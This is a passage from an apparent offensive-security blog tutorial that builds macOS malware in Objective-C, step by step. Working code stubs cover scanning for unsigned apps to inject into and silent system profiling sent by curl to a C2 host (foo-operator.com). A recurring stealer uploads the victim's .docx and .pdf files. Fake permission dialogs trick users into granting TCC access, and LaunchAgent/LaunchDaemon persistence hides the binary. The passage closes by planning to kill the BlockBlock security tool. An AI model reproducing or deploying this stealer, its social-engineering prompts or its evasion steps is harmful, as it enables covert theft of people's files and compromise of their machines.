NSLog(@"Usage: %s <path>", argv[0]);
return 1;
}
analyze([NSString stringWithUTF8String:argv[1]]);
}
return 0;
}
So to give you an idea, of what we doing, I wrote this script like in Objective-C which scans the /Applications
folder, identifying potential older applications based on their metadata. We can pinpoint apps that haven’t been updated in a while, checking for bundle identifiers, modification dates, and versions. If an application hasn’t been modified in over a three or two years, that could be a red flag, But just because it’s old doesn’t immediately mean it’s vulnerable, The red flag comes from the fact that older applications might not implement code signing or entitlements.
This allows us to focus on low-hanging fruit, as legacy apps can serve as entry points for our malware. Alright, we’ll walk through the mechanics of scanning for these older applications and analyzing their metadata.
Let’s test the code first,
What you’ll notice here is that Signal.app has a recent version (7.22.2) with a creation/modification date of August 29, 2024. Since this article is being written, I might post it in November or September, so that could change by then. But for now, the presence of a valid bundle identifier (org.whispersystems.signal-desktop
) and the application being signed indicates proper signing.
So let’s talk code. Okay, the heart of this code really lies in the analyze function, which gathers essential metadata using mdls
. It requests the bundle identifier, creation and modification dates, and fetches the signature of the application with codesign
.
NSArray *keys = @[
@"kMDItemCFBundleIdentifier",
@"kMDItemContentCreationDate",
@"kMDItemContentModificationDate",
@"kMDItemContentType",
@"kMDItemVersion"
];
...
Similar steps were covered in the first part; but hey, let’s just do it again ; ) So, after checking whether the application exists, we just loop through an array of metadata keys and invoke some shell commands to extract the most important information, and just then we enumerate this directory looking for an executable. After finding it, we print out the path to the executable and show its Mach-O header by using otool
.
Let’s put this to the test using an older application. I obtained the latest version of KeePassX, which was last released in October 2016, as the development of KeePassX has stopped. It’s quite ancient, yet believe it or not, there are still people out there running such outdated applications on their systems. Many users overlook this or might not care, while others may simply search for a password manager for macOS and download the first option that appears without a second thought. Alright, so let’s go ahead and see,
It’s quite obvious it’s not going to be signed; I just love the dramatic effect. What we have here is an application that hasn’t been signed at all. We can see from the creation and modification dates that this application hasn’t been updated since September 4, 2016. This is exactly what we’re going to focus on.
Now, just to showcase this, let’s use the in-memory execution shellcode injector we introduced earlier and put it in a debugger to see what happens.
Well, After attaching the debugger to our target, we inject the shellcode
, watch it allocate memory, and execute directly within the process. Simple and clean. No traces left behind on disk just pure in-memory execution doing its job, So you get what’s going on here. Now it’s time to actually write the stager or our initial foothold. I know I might be confusing you right now, but this code will be part of the stager once everything checks out (more on that as we move forward) ;) This part is essential for detecting older apps and setting the stage for the payload execution.
Note: Pushing ideas, and techniques. What you do with it? That’s on you to figure out! …
I. Target Identification
So now, let’s put all this together and design a small piece of code. We want to make this whole process self-reliable. What I mean by that is we need to set up a routine that systematically detects “older” or unsigned applications on the host machine and then performs in-memory execution to stage our payload. But let’s not jump the gun just yet.
Essentially, we’re building on the script I introduced earlier. Instead of manually passing in the path of the applications we want to scan, we’ll write a routine that automates this process based on certain characteristics we’ve observed about applications. We can identify unsigned apps and prepare them for the next stage.
We are looking for applications that are either unsigned or with expired signatures. This would bring our search down to possible targets. The point might sound iterated, but it is necessary.
Our solution will be based on two main functions: one for scanning the /Applications directory and another one for signature verification of each found application. We will use NSFileManager for macOS APIs. During enumeration of the directory contents, we will filter applications by the .app extension.
We’ll spawn a subprocess to perform the codesign
command and, this way, verify the status of every application’s signature. Enumerate the contents of the /Applications directory using NSFileManager
and filter for files with the suffix .app to create a list. For each path on that list, we will call the method checkAppSignature:, which will execute the codesign
command and check the output accordingly.
// AppSignatureScanner.m
// this piece scans through a specified directory (in this case
// "/Applications") to check for unsigned or improperly signed macOS
// applications. It utilizes `codesign` to verify the app signatures
// and logs apps with missing or invalid signatures.
//
// Usage: ./AppSignatureScanner
//
// 0x00fsec
#import <Foundation/Foundation.h>
#import <Cocoa/Cocoa.h>
void checkAppSignature(NSString *appPath) {
NSTask *task = [NSTask new];
task.launchPath = @"/usr/bin/codesign";
//`codesign`: `-d` for details, `--verify` for signature verification
task.arguments = @[@"-d", @"--verify", appPath];
NSPipe *outputPipe = [NSPipe pipe];
NSPipe *errorPipe = [NSPipe pipe];
task.standardOutput = outputPipe;
task.standardError = errorPipe;
[task launch];
[task waitUntilExit];
NSData *outputData = [[outputPipe fileHandleForReading] readDataToEndOfFile];
NSData *errorData = [[errorPipe fileHandleForReading] readDataToEndOfFile];
NSString *outputString = [[NSString alloc] initWithData:outputData encoding:NSUTF8StringEncoding];
NSString *errorString = [[NSString alloc] initWithData:errorData encoding:NSUTF8StringEncoding];
// Status
if (task.terminationStatus) {
if ([errorString containsString:@"code object is not signed at all"]) {
NSLog(@"Unsigned app found: %@", appPath);
}
else if ([errorString containsString:@"a sealed resource is missing or invalid"] ||
[errorString containsString:@"invalid signature"]) {
NSLog(@"App has a broken signature: %@", appPath);
}
else {
NSLog(@"App has issues but is signed: %@, Error: %@", appPath, errorString);
}
}
}
void scanForUnsignedApps(NSString *directoryPath) {
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtPath:directoryPath]; // Enumerate files in the directory
NSString *file;
while ((file = [enumerator nextObject])) {
// for an app bundle
if ([file.pathExtension isEqualToString:@"app"]) {
NSString *fullPath = [directoryPath stringByAppendingPathComponent:file];
checkAppSignature(fullPath);
}
}
}
int main(int argc, const char *argv[]) {
@autoreleasepool {
NSString *directoryPath = @"/Applications";
scanForUnsignedApps(directoryPath);
}
return 0;
}
I know, but it works and serves our purpose; so far, the code only checks the signatures of applications in the specified directory, logging any unsigned apps or those with broken signatures,
~> ./apps
Info[37049:279286] Unsigned app found: /Applications/KeePassX.app
Info[37049:279286] App found but has a broken signature: /Applications/FOO.app
Once our target app is found, we’ll launch it in the background if it’s not already running, and inject our payload so we can move forward. Of course, there are other ways we can handle this, but we’ll leave those techniques for what’s coming next.
II. Payload Staging and Execution
Once we have that target app, it’s time to roll into payload execution: a simple payload designed just for nabbing specific files from the victim’s computer and sending them back our way. This will also contain a secondary component for persistence and other business later on. We want to dig up vital information about the host. We can snatch the system serial number via IOKit using IOPlatformSerialNumber
, and for the OS version, This approach will set the stage for the sandbox detection methods and virtual environment checks.
The first thing we want to do is gather information about the infected system and send this information back to the C2. We’ll start off gathering some of the preliminary information, system serial number, OS version, applications installed, user account information could be used, We could utilize the IOKit framework to get a unique identifier for the machine with the use of IOPlatformSerialNumber, with information about the installed version of macOS for the OS version.
NSString * getSystemSerialNumber() {
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
if (service) {
CFStringRef serialNumber = (CFStringRef) IORegistryEntryCreateCFProperty(service, CFSTR("IOPlatformSerialNumber"), kCFAllocatorDefault, 0);
IOObjectRelease(service);
return (__bridge NSString * ) serialNumber;
}
return nil;
}
NSString * getOSVersion() {
NSString * osVersionFilePath = @ "/System/Library/CoreServices/SystemVersion.plist";
NSDictionary * osVersionDict = [NSDictionary dictionaryWithContentsOfFile: osVersionFilePath];
return osVersionDict[@ "ProductVersion"];
}
Now that we’ve gathered the data, it’s time to send it back to our C2 server. We can organize this data into a JSON object, which makes it clear and easy to read. Next, we’ll use the curl command to send our JSON data to the C2 server because it’s flexible. To keep things low-key, we’ll run the curl command in the background using NSTask, so the user won’t notice anything happening. This way, we avoid any visible signs of data transmission.
After running the curl command, we can also capture and check the server’s response to make sure the transmission went through successfully.
void sendToC2UsingCurl(NSString *data) {
NSString *cURLCommand = [NSString stringWithFormat:@"curl -X POST -H 'Content-Type: application/json' -d '%@' http://foo-operator.com/update", data];
NSTask *task = [NSTask new];
task.launchPath = @"/bin/sh";
task.arguments = @[@"-c", cURLCommand];
NSPipe *outputPipe = [NSPipe pipe];
NSPipe *errorPipe = [NSPipe pipe];
task.standardOutput = outputPipe;
task.standardError = errorPipe;
[task launch];
[task waitUntilExit];
NSData *outputData = [[outputPipe fileHandleForReading] readDataToEndOfFile];
NSData *errorData = [[errorPipe fileHandleForReading] readDataToEndOfFile];
NSString *outputString = [[NSString alloc] initWithData:outputData encoding:NSUTF8StringEncoding];
NSString *errorString = [[NSString alloc] initWithData:errorData encoding:NSUTF8StringEncoding];
if (!task.terminationStatus) {
NSLog(@"Sent to C2: %@", outputString);
} else {
// in case
}
}
So far, this approach is pretty easy to detect and reverse. A simple string utility can reveal that there’s some kind of command and control capability, along with the server information. It’s not bulletproof, and the basic survey capabilities of the curl
can expose us, but that’s not a concern for now. Let’s keep moving forward; we can see the data traffic clearly showing what we’re sending.
NSString * jsonString = [
[NSString alloc] initWithData: jsonData encoding: NSUTF8StringEncoding
];
// Encrypt the JSON data
NSString * encryptedData = encryptData(jsonString, @ "0xf");
// Base64 encode the encrypted data for transmission
NSData * base64Data = [encryptedData dataUsingEncoding: NSUTF8StringEncoding];
NSString * obfuscatedData = [base64Data base64EncodedStringWithOptions: 0];
return obfuscatedData;
}
We can also have fun with this. Instead of sending the data as it is, we can obfuscate it by using simple base64 encoding. This makes it a little harder to recognize, since sending basic system data doesn’t make our piece malicious yet. However, it’s still pretty easy to decode.
Hypertext Transfer Protocol
POST / update HTTP / 1.1
Host: fooo-operator.com
User - Agent: curl / 7.64 .1
Accept: *
/*
Content-Type: application/json
Content-Length: 58
eyJzZXJpYWxfbnVtYmVyIjogIkFCQzEyMyIsICJvcy52ZXJzaW9uIjogIjEzLjAiLCAicHJvZHVjdF9uYW1lIjogIm1hY09TIn0=
The encoded data can easily be decoded back to its original form.
echo "eyJzZXJpYWxfbnVtYmVyIjogIkFCQzEyMyIsICJvcy52ZXJzaW9uIjogIjEzLjAiLCAicHJvZHVjdF9uYW1lIjogIm1hY09TIn0=
" | base64 -d
{"serial_number": "ABC123", "os.version": "13.0", "product_name": "macOS"}%
Once we’ve identified the data and set up the initial search functionality, we need to establish a routine for our file stealer to operate efficiently. This routine will regularly check the user’s home directory for specific file types, namely .docx
and .pdf
files.
To accomplish this, we can utilize NSTimer
to create a timer that triggers our search every 60 seconds. This ensures that our file stealer remains vigilant for any newly created or modified files that match our criteria. The routine begins with a method called startFileSearchRoutine
, which sets up the timer when the application launches.
Within this method, we’ll configure the timer using
scheduledTimerWithTimeInterval
.
Once configured, the timer will call the searchForFiles
method, which contains the logic for searching the user’s home directory.
// startFileSearchRoutine
// Initiates a recurring file search routine that runs every 60 seconds.
// Returns: void
// ----------------------------------------------------------------------------
- (void)startFileSearchRoutine {
// Schedule a timer that calls the searchForFiles method every 60 seconds
[NSTimer scheduledTimerWithTimeInterval:60.0
target:self
selector:@selector(searchForFiles)
userInfo:nil
repeats:YES];
}
- (void)searchForFiles {
NSString *homeDirectory = NSHomeDirectory(); // Get the user's home directory
NSArray *fileExtensions = @[@"docx", @"pdf"]; // extensions to search for
NSFileManager *fileManager = [NSFileManager defaultManager];
// Begin searching for files in the home directory
[self searchInDirectory:homeDirectory forExtensions:fileExtensions withManager:fileManager];
}
- (void)searchInDirectory:(NSString *)directory forExtensions:(NSArray<NSString *> *)extensions withManager:(NSFileManager *)fileManager {
NSError *error = nil;
// Retrieve the contents of the current directory
NSArray *files = [fileManager contentsOfDirectoryAtPath:directory error:&error];
if (error) {
return;
}
// Iterate through each file in the directory
for (NSString *file in files) {
NSString *filePath = [directory stringByAppendingPathComponent:file]; // Construct the full file path
BOOL isDirectory;
// Check if the path is a directory
if ([fileManager fileExistsAtPath:filePath isDirectory:&isDirectory]) {
if (isDirectory) {
// If it's a directory, search recursively within it
[self searchInDirectory:filePath forExtensions:extensions withManager:fileManager];
} else {
// If it's a file, check its extension
if ([extensions containsObject:[file pathExtension]]) {
[self sendFileToServer:filePath]; // Send the file to the server if it matches the extension
}
}
} else {
// in case
}
}
}
For sending the files, we’ll take a similar approach to how we handled the host information, but this time we’re focusing on file transfers rather than just simple JSON data. When transferring files, we have file size, Files can range in size from a few kilobytes for text documents to several megabytes for larger PDFs, So
Unlike for sending host information, we’ll use NSMutableURLRequest to create our HTTP POST request. However, since we’re working with files, we need to use multipart form-data encoding. The multipart body of our request will include headers that specify the file’s name, type, and the binary content of the file itself. For each file, we’ll read the binary content and append it to the request body along with the appropriate content disposition and type headers.
Finally, we’ll create a data task using NSURLSession to send the constructed request. We’ll also set a limit on the total data size for each upload. For example, if the size of the files to be sent reaches a certain threshold (like 10MB), we’ll initiate the upload. If it doesn’t hit this threshold within a specified time frame (like every 10 minutes), we can go ahead and send the currently available files.
Before starting a transfer, we’ll use a routine for smaller files; we might choose to send those immediately, while larger files can be queued until we hit our predefined size threshold. And of course, we’ll compress the files.
// Parameters:
// fileURLs - An array of NSURL objects representing the files to upload.
// Returns: void
- (void)uploadFiles:(NSArray<NSURL *> *)fileURLs {
const NSUInteger sizeThreshold = 10 * 1024 * 1024; // 10 MB
NSUInteger totalSize = 0; // Track the total size of uploaded files
// Create the URL for the upload endpoint
NSURL *url = [NSURL URLWithString:@"https://foo-operator.com/upload"];
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url]; // Create a mutable URL request
[request setHTTPMethod:@"POST"]; // Set the HTTP method to POST
// Prepare multipart/form-data content type
NSString *boundary = @"BoundaryString";
NSString *contentType = [NSString stringWithFormat:@"multipart/form-data; boundary=%@", boundary];
[request setValue:contentType forHTTPHeaderField:@"Content-Type"];
NSMutableData *body = [NSMutableData data];
// Iterate through each file URL in the provided array
for (NSURL *fileURL in fileURLs) {
NSData *fileData = [NSData dataWithContentsOfURL:fileURL]; // Read file data
if (fileData) {
totalSize += fileData.length; // Update total size of files
// Check if the total size exceeds the threshold
if (totalSize > sizeThreshold) {
[self sendRequest:request withBody:body];
body = [NSMutableData data];
totalSize = fileData.length;
}
// Append the file data to the request body
[body appendData:[[NSString stringWithFormat:@"--%@\r\n", boundary] dataUsingEncoding:NSUTF8StringEncoding]];
[body appendData:[[NSString stringWithFormat:@"Content-Disposition: form-data; name=\"file\"; filename=\"%@\"\r\n", fileURL.lastPathComponent] dataUsingEncoding:NSUTF8StringEncoding]];
[body appendData:[[NSString stringWithFormat:@"Content-Type: application/octet-stream\r\n\r\n"] dataUsingEncoding:NSUTF8StringEncoding]];
[body appendData:fileData];
[body appendData:[@"\r\n" dataUsingEncoding:NSUTF8StringEncoding]]; // Append line break
}
}
// Append the closing boundary string to the request body
[body appendData:[[NSString stringWithFormat:@"--%@--\r\n", boundary] dataUsingEncoding:NSUTF8StringEncoding]];
// If there's remaining data in the body, send it as the final request
if (body.length > 0) {
[self sendRequest:request withBody:body];
}
}
- (void)sendRequest:(NSMutableURLRequest *)request withBody:(NSMutableData *)body {
[request setHTTPBody:body];
NSURLSession *session = [NSURLSession sharedSession];
NSURLSessionDataTask *task = [session dataTaskWithRequest:request completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) {
// in case any ...
if (error) {
} else {
}
}];
[task resume]; // Start the upload task
}
We prepare a mutable data object to construct the request body. For each file URL in the provided array, we load the file data and check if it was successfully retrieved. As we accumulate the size of the files, we compare it against the size threshold. If adding the current file exceeds this threshold, we send the accumulated data to the server by invoking the sendRequest:withBody:
method, then reset the body data and update the total size to the current file’s size.
For each file, we append the necessary multipart data, including the boundary, content disposition, and content type, followed by the actual file data and a newline character. After processing all files, we ensure to append the closing boundary, Finally, if there’s any remaining data in the body after the loop, we send that to the server.
And voilà! I didn’t dive into details like the routine and if any obfuscation or any queue the data and send it during off-peak hours, there’s a lot more to cover. But as I mentioned before, I’m just presenting functional stubs that are close to the design and functionalities we’re working with.
Alright, we forgot something here, didn’t we? We need to call the function we discussed earlier for identifying unsigned apps and check if our target app is running. If it’s not active, we’ll silently launch it. We can use NSTask
to execute the application in the background. After launching, we’ll grab the PID of the newly initiated process, which will help us maintain control over the application without alerting the user. Simple, right?
To implement this, we’ll start by running our signature check on the target app. If the app is found to be unsigned, we check its running status. If it’s not running, we initiate it with a task that redirects standard input, output, and error to pipes, keeping everything under the radar. This ensures that the application runs silently in the background.
// If not running, launch it
NSLog(@ "App not running. Launching silently...");
NSTask * launchTask = [
[NSTask alloc] init
];
launchTask.launchPath = appPath;
launchTask.arguments = @[];
launchTask.standardInput = [NSPipe pipe];
launchTask.standardOutput = [NSPipe pipe];
launchTask.standardError = [NSPipe pipe];
[launchTask launch];
// grap PID after launching
NSLog(@ "Launched app. PID: %u", launchTask.processIdentifier);
once we identify an unsigned application, we check if it’s running. If it’s not, we initiate the application using NSTask
, all outputs are piped to prevent any visible interface. After launching, we log the PID of the new process, establishing our foothold without drawing the user’s attention,
You may be askin’, what if there’s no older app on the system? Or what happens if the in-memory code execution fails? And yes, this still requires admin privileges. How can you perform all of this without admin access?
Well, that’s what the next phase is for,
III. Bypasses, SE and TCC
So, usually, we can just ask for permission to access or READ/WRITE certain files or even request admin credentials. That’s where social engineering comes into play. you mimic an application or a software installer, prompting the user to enter their admin credentials. most people will just type in their credentials and move on, right? this can usually be implemented by delivering the malware in a disk image (DMG). However, this creates a problem because we aren’t legitimate developers to sign the application, which means macOS will warn the user if they try to open it. But let’s say the user proceeds with the DMG and installs a launch daemon, which requires root access. The installer will then prompt the user for their credentials. But where’s the fun in that?
Let’s quickly go over something: you’ve seen “TCC” in the section title, right? So what is it? TCC (Transparency, Consent, and Control) is a security protocol that manages app permissions. Its main goal is to protect sensitive features like location, contacts, photos, microphone, camera, and full disk access. It enhances privacy by requiring users to give explicit consent before any app can touch these features, putting more control in users’ hands.
Users interact with TCC whenever an app asks for permission to access protected features, like when a prompt appears asking them to approve or deny access. TCC also supports direct user actions, like dragging and dropping files into an app, to grant access to specific files. This way, apps only get what the user explicitly allows.
When an app wants access to something like the camera, you have to ask yourself, “What the hell does iTerm need camera access for?” Unless you’re trying to do something camera related, then It’s pretty obvious that you shouldn’t just hit OK every time a prompt pops up in your face. This is where common sense comes in if it doesn’t make sense for the app to ask for that kind of permission, then maybe it’s best to think twice before granting it.
However, there’s something called TCC ClickJacking, which, as the name suggests, is a trick that makes you think you’re clicking “OK” on one thing, but you’re actually clicking on something else. Here’s a great PoC of this by Breakpoint, We can replicate this behavior by creating our own version of TCC ClickJacking. The core idea is to design a window that sits directly over the system’s permission prompt,
We can introduce a Pre-Prompt Dialog, which means showing our custom dialog before macOS displays its native permission prompt. This dialog would inform the user about the action the app is about to take and explain why permission is needed. For example, we could say, “This app requires permission to function properly. Please approve the upcoming system dialog.”
// AppDelegate.m
// 0x00fsec
#import <Cocoa/Cocoa.h>
#import <AppKit/AppKit.h>
@interface AppDelegate: NSObject < NSApplicationDelegate >
@property(strong, nonatomic) NSWindow * window; // Main application window
@property(strong, nonatomic) NSString * scriptDir; // Directory for script files
// Method declarations
-
(NSString * ) getScriptDirectory;
-
(void) renderWindow;
-
(void) shell: (NSArray * ) args;
@end
@implementation AppDelegate
- void) applicationDidFinishLaunching: (NSNotification * ) n {
self.scriptDir = [self getScriptDirectory]; // Get script directory path
[self showPrePromptDialog]; // Show permission request dialog
[self shell: @[@ "-c", @ "tccutil reset AppleEvents"]]; // Reset AppleEvents permissions
[self shell: @[@ "-c", [NSString stringWithFormat: @ "osascript %@/fulldisk_access.scpt", self.scriptDir]]]; // Execute AppleScript for full disk access
[self renderWindow]; // Render the main application window
}
- (void) showPrePromptDialog {
NSAlert * alert = [
[NSAlert alloc] init
]; // Create a new alert
[alert setMessageText: @ "Permission Request"]; // Set title
[alert setInformativeText: @ "This app requires permission to function properly. Please approve the upcoming system dialog."];
[alert addButtonWithTitle: @ "OK"]; // Add OK button
[alert runModal]; // Run the modally
}
- (NSApplicationTerminateReply) applicationShouldTerminate: (NSApplication * ) s {
return NSTerminateCancel; // Cancel termination
}
- (BOOL) applicationShouldTerminateAfterLastWindowClosed: (NSApplication * ) s {
return NO; // Do not terminate the application
}
- (NSString * ) getScriptDirectory {
NSArray * args = [
[NSProcessInfo processInfo] arguments
]; // Get process arguments
NSString * scriptPath = args[0]; // Get the path of the executable
return [
[NSURL fileURLWithPath: scriptPath] URLByDeletingLastPathComponent
].path; // Return the directory path
}
- (void) renderWindow {
NSRect frame = NSMakeRect(0, 0, 300, 300); // window size
self.window = [
[NSWindow alloc] initWithContentRect: frame
styleMask: (NSWindowStyleMaskTitled)
backing: NSBackingStoreBuffered
defer: NO
];
[self.window center]; // Center the window on the screen
[self.window setOpaque: NO]; // Allow transparency
[self.window setMovable: NO]; // Disable window movement
[self.window setLevel: NSFloatingWindowLevel];
[self.window setIgnoresMouseEvents: YES]; // Ignore mouse events
[self.window makeKeyAndOrderFront: nil]; // Make the window key and visible
// Adjust window origin to move it down
NSPoint origin = self.window.frame.origin;
origin.y += 50;
[self.window setFrameOrigin: origin];
// Create an image view for the app icon
NSImageView * imageView = [
[NSImageView alloc] initWithFrame: NSMakeRect(110, 200, 84, 84)
];
imageView.image = [
[NSImage alloc] initByReferencingFile: [NSString stringWithFormat: @ "%@/resources/AppIcon.icns", self.scriptDir]
];
[self.window.contentView addSubview: imageView]; // Add image view to window
// Create a label for the main message
NSTextField * label = [self createTextFieldWithFrame: NSMakeRect(0, 140, 300, 50)
text: @ "Program quit unexpectedly"
font: [NSFont boldSystemFontOfSize: 16]
];
[self.window.contentView addSubview: label]; // Add label to window
// Create a description label for additional info
NSTextField * description = [self createTextFieldWithFrame: NSMakeRect(42, -40, 220, 200)
text: @ "Click OK to see more detailed information and send a report to Apple."
font: [NSFont systemFontOfSize: 15]
];
[self.window.contentView addSubview: description]; // Description
// OK button
NSButton * button = [self createButtonWithFrame: NSMakeRect(154, 36, 110, 30) title: @ "OK"];
[self.window.contentView addSubview: button]; // Add button to window
}
- (NSTextField * ) createTextFieldWithFrame: (NSRect) frame text: (NSString * ) text font: (NSFont * ) font {
NSTextField * textField = [
[NSTextField alloc] initWithFrame: frame
];
[textField setBezeled: NO]; // No border around the text field
[textField setEditable: NO]; // Make it non-editable
[textField setAlignment: NSTextAlignmentCenter]; // Center the text
[textField setFont: font]; // Set the specified font
[textField setStringValue: text]; // Set the displayed text
[textField setBackgroundColor: [NSColor clearColor]]; // Make background clear
return textField; // Return configured text field
}
- (NSButton * ) createButtonWithFrame: (NSRect) frame title: (NSString * ) title {
NSButton * button = [
[NSButton alloc] initWithFrame: frame
];
[button setTitle: title]; // Set the button title
[button setFont: [NSFont systemFontOfSize: 14]]; // Set the button font
button.wantsLayer = YES; // Enable layer-backed view
button.layer.borderWidth = 0; // No border
button.layer.cornerRadius = 10; // Round corners
return button; // Return configured button
}
- (void) shell: (NSArray * ) args {
NSTask * task = [
[NSTask alloc] init
]; // Create a new task
task.launchPath = @ "/bin/bash"; // Set the launch path to bash
task.arguments = args; // Set the command arguments
NSPipe * pipe = [NSPipe pipe];
task.standardOutput = pipe;
task.standardError = pipe;
NSFileHandle * file = [pipe fileHandleForReading];
[task launch]; // Launch the task
[task waitUntilExit]; // Wait until the task exits
// Read output from the task
NSData * data = [file readDataToEndOfFile];
NSString * output = [
[NSString alloc] initWithData: data encoding: NSUTF8StringEncoding
]; // Convert output to string
NSLog(@ "Output: %@", output);
}
@end
int main(int argc,
const char * argv[]) {
@autoreleasepool {
AppDelegate * delegate = [
[AppDelegate alloc] init
];
NSApplication * app = [NSApplication sharedApplication];
app.delegate = delegate;
[app setActivationPolicy: NSApplicationActivationPolicyRegular];
[app activateIgnoringOtherApps: YES];
[app run];
}
return 0;
}
We call showPrePromptDialog
method right before executing any commands that require permissions. This ensures the user is notified in advance, When the custom dialog is displayed, the user will see the informative message and the “OK” button. Upon clicking “OK,” they can proceed to the native permission prompt that macOS generates. follow this step’s;
If the user clicks “OK,” that’s great; we can proceed. If they don’t, we display a fake message saying, “Program quit…” to make them believe that the only way for the program to work is to click “OK.” This is a social engineering trick, and it’s fascinating how we can enhance it even further. We could make the message sound more urgent and stress that they need to click “OK” to continue. Additionally, we can work on the icons and design details to match the environment and macOS version. Social engineering relies heavily on these details, so we need to make it convincing. This is a simple example I created to illustrate the concept, but there are plenty of ways to incorporate this technique.
Instead of going all out on design, we can create our malware with a name like “Google Chrome” or any other app that’s known in the target’s environment. We can modify the Info.plist
to make it request access to some TCC-protected location. The user will naturally assume it’s the legit application asking for permission, it could call the legit app, ask for TCC permissions, and execute our malware. This way, it looks like the trusted app is the one requesting access, which is a slick way to manipulate users into granting permissions, and more way we can play around this!!
I left out a few details here since they’re pretty simple. I might revisit those next time, Who Know’s, in mean time go back up and check macOS TCC Bypasses by HackTricks.
IV. Variable Detritus, Final Sweep
To expand on that, persistence is a key element in malware development, ensuring that our code continues to execute even after a reboot or system update. We’ve already seen simple methods, like dropping a LaunchDaemon or LaunchAgent, but there’s so much more we can do to stay hidden and maintain control. For instance, we can target less obvious persistence mechanisms, like cron jobs or modifying existing system files that launch at startup. Each method has its own advantages depending on the level of stealth or privilege we need.
Stealth goes hand in hand with persistence. It’s not enough to just remain on the system; we need to avoid detection while we’re there. or avoid getting flagged, This is where anti-analysis techniques come into play. We can use tricks to evade reverse engineering or sandbox detection. For example, we might detect when we’re being run in a virtual environment or prevent debuggers from attaching to our process.
These are just a few techniques we’ll cover as we move forward. Each approach will help us refine our design, So far, we’ve laid the groundwork and established core functionality for our design, we’ve come a long way, and the last step is to initiate.
To recap, LaunchAgentsrun in the user’s context and are meant for tasks that need user interaction or should only work when a user is logged in. They take care of functions like syncing data or checking for updates without needing admin privileges.
On the other hand, LaunchDaemons operate at the system level. They run as root and can handle tasks that require higher privileges, like monitoring system events or performing maintenance in the background, /Library/LaunchAgents
, /Library/LaunchDaemons
, or ~/Library/LaunchAgents
. These files define how and when the tasks should run, making them powerful tools for automation and persistence.
However persistence in macOS sometimes goes beyond just using LaunchDaemons
or LaunchAgents
. I recommend checking out this great series - Beyond good ol’ LaunchAgents by Csaba Fitzl.
This is part of how persistence mechanisms work in macOS. A key component of this behavior is LaunchAgents (or LaunchDaemons at the system level), which allow programs to run automatically when a user logs in or the system starts. Our task was to implement this quickly. So how did we achieve this? Let me walk you through the steps and explain how the code makes it all click.
We wrote a simple function that uses NSBundle to find the current path of the running binary (selfPath) and copy it to a more hidden directory (targetPath). For regular users, this is under ~/Library/Application Support/foo_agent
. If we have root privileges, it goes to /usr/local/bin/foo_daemon
.
Once the binary is hidden, the next step is to create a .plist file that defines how and when the system should launch this hidden executable. This is what LaunchAgents and LaunchDaemons are for.
void createPlist(NSString * plistPath, NSString * label, NSString * programPath, BOOL runAtLoad) {
NSMutableDictionary * plistDict = [NSMutableDictionary dictionary];
[plistDict setObject: label forKey: @ "Label"];
[plistDict setObject: @[programPath] forKey: @ "ProgramArguments"];
if (runAtLoad) {
[plistDict setObject: @(YES) forKey: @ "RunAtLoad"];
}
NSData * plistData = [NSPropertyListSerialization dataWithPropertyList: plistDict
format: NSPropertyListXMLFormat_v1_0
options: 0
error: nil
];
[plistData writeToFile: plistPath atomically: YES];
}
This is just a label: a unique identifier (e.g., com.foo.agent
or com.foo.daemon
), along with the path to the binary we copied earlier. This file is initially written to a temporary directory (/tmp
), from where it will be moved to the appropriate location in either the LaunchAgents or LaunchDaemons directory.
void installAndLoadPlist(NSString *plistPath, BOOL isDaemon) {
NSString *targetDirectory = isDaemon ? @"/Library/LaunchDaemons" : [@"~/Library/LaunchAgents" stringByExpandingTildeInPath];
NSString *finalPath = [targetDirectory stringByAppendingPathComponent:[plistPath lastPathComponent]];
NSError *error = nil;
[[NSFileManager defaultManager] moveItemAtPath:plistPath toPath:finalPath error:&error];
if (isDaemon) {
NSDictionary *attributes = @{NSFileOwnerAccountID: @(0), NSFileGroupOwnerAccountID: @(0), NSFilePosixPermissions: @(0644)};
[[NSFileManager defaultManager] setAttributes:attributes ofItemAtPath:finalPath error:&error];
}
// Load the plist using launchctl
NSTask *launchctlTask = [[NSTask alloc] init];
[launchctlTask setLaunchPath:@"/bin/launchctl"];
[launchctlTask setArguments:@[@"load", finalPath]];
[launchctlTask launch];
[launchctlTask waitUntilExit];
}
Next, we need to move the plist to its final destination and ensure the system starts the binary. The plist is moved to its correct directory: for LaunchAgents
, it’s stored in ~/Library/LaunchAgents
, and for LaunchDaemons
, it’s placed in /Library/LaunchDaemons
. If it’s a LaunchDaemon
, we modify the file permissions to ensure it can run with the appropriate system privileges. We use launchctl
to immediately load the plist and start the binary in the background.
a simple,
BOOL isRootUser() {
return (getuid() == 0);
}
At this point, the process is done. The binary is copied to a hidden location, a LaunchAgent
or LaunchDaemon
plist is created, and the system is configured to automatically load it every time the user logs in or the system restarts. All of this occurs with minimal visibility to the user.
void Persistence(NSString * label) {
NSString * plistPath = [NSTemporaryDirectory() stringByAppendingPathComponent: [label stringByAppendingPathExtension: @ "plist"]];
NSString * targetPath = isRootUser() ? @ "/usr/local/bin/foo_daemon" : [@ "~/Library/Application Support/foo_agent"
stringByExpandingTildeInPath
];
Copy(targetPath);
createPlist(plistPath, label, targetPath, YES);
installAndLoadPlist(plistPath, isRootUser());
}
But before we move on, let’s take a quick detour into the defensive side of things. There’s a whole suite of tools over at Objective-See’s Tools that are designed to detect various forms of persistence, malware, Dylib hijacking, and more. Shout out to Patrick Wardle for his macOS security research and for providing free and open source tools. Definitely check out his projects.
When it comes to persistence techniques like LaunchDaemons
or LaunchAgents
, there are specific tools like KnockKnockand BlockBlock that can alert you to any suspicious persistence methods being used.
Now, let’s test one of the first persistence techniques I mentioned earlier on our host, using these tools to see if our simple persistence can be blocked, or alert the user!
Well, as you can see, BlockBlock will detect the launch daemon persistence attempt, and the system now prompts the user: “A LaunchAgent tryin’ install. Would you like to proceed or block it?”
One way we could work around this situation, assuming our target has BlockBlock installed, is by implementing a process killer. The goal would be to terminate BlockBlock or any other application that may interfere before our agent is launched. So BlockBlock consists of a main application and a helper process running in the background. Our focus would primarily be on the helper process, which provides most of the active monitoring functionality.
In typical setups, the main application is designed to run with higher privileges, monitoring system-level events. The helper process, on the other hand, takes care of more specific tasks, such as monitoring file system changes, application launches, and other persistent modifications. Don’t mind the MTLCompilerService, which you can see running alongside the helper, is likely tied to the helper’s operations.
